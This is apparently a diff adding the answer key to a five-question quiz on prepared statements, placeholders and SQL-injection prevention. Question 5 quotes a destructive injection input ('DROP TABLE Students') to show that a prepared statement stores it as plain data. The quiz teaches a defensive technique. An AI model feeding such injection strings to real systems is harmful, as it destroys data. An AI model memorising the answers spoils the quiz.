+1. What is the difference between a prepared statement and a statement?
+	- Solution 4: A statement has got values instead of a prepared statement
+2. Which one of the following characters is a placeholder for variables?
+	- Solution 3: ?
+3. How can prepared statements be faster than statements?
+	- Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
+4. How can a prepared statement prevent SQL-Injection?
+	- Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
+5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
+	 - Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
